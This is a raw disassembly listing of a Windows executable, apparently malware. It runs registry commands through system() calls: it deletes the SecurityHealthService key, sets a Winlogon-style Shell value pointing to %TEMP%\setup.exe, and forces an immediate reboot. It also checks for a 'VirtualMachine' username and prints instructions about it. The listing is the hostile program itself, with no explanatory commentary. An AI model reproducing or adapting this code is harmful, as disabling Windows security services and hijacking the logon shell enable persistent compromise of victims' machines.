mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ef0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ef0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x32
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140002f8a
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002fd3
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0x34
lea rdx, str.REG_DWORD
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x68]
call fcn.140003810
mov rbx, rax
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x140003068
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400030b1
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rcx, str.REG_DELETE__HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecurityHealthService___va__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov ecx, 0x40
call fcn.140003df0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x34
mov qword [rsp + 0x48], 0x3f
movups xmm0, xmmword [str.C:Program_FilesWindows_Media_PlayerVisualizations]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140006920]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140006930]
movups xmmword [rax + 0x20], xmm0
mov ecx, dword [0x140006940]
mov dword [rax + 0x30], ecx
mov byte [rax + 0x34], 0
lea rdx, str.REG_SZ
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, str.WinNT
lea rcx, [rbp - 0x68]
call fcn.1400036f0
mov rbx, rax
lea rdx, [rbp + 0x98]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x14000319b
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400031e4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400031df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400031df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov ecx, 0x20
call fcn.140003df0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0x10
mov qword [rsp + 0x48], 0x1f
movups xmm0, xmmword [str._TEMP__setup.exe]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rdx, str.REG_SZ
lea rcx, [rbp - 0x48]
call fcn.1400036f0
mov rdi, rax
lea rdx, str.Shell
lea rcx, [rbp - 0x68]
call fcn.1400036f0
mov rbx, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rsp + 0x78]
call fcn.140003810
nop
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400014a0
cmp qword [rax + 0x18], 0x10
jb 0x1400032a2
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400032eb
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
lea rcx, str.cmd.exe__c_shutdown__t__0__r
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea r9, [0x140003690]
mov edx, 0x20
lea r8d, [rdx - 0x17]
lea rcx, [rbp + 0xe0]
call fcn.140003e2c
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x14000335b
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003355
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003355
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x1400033a0
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000339a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000339a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1400033df
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000341e
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003418
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003418
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x140003460
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000345a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000345a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x14000349f
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003499
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003499
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400034da
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d4
call fcn.140003efc
xor eax, eax
jmp 0x1400035e3
lea rdx, str.Username_is_uncorrect__Please_create_an_account_for_the_VM_with_the_name__VirtualMachine_.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a60
mov rcx, rax
lea rdx, [0x140003a20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.After_start_this_program_again._Press_any_key__to_exit_from_program
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a60
mov rcx, rax
lea rdx, [0x140003a20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400035a2
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003567
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003567
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
jmp 0x1400035a2
lea rdx, str.UserName_isn_t_detected__close...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003a60
mov rcx, rax
lea rdx, [0x140003a20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14d, 1
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400035e0
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003efc
mov eax, r14d
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140003dd0
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r13, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret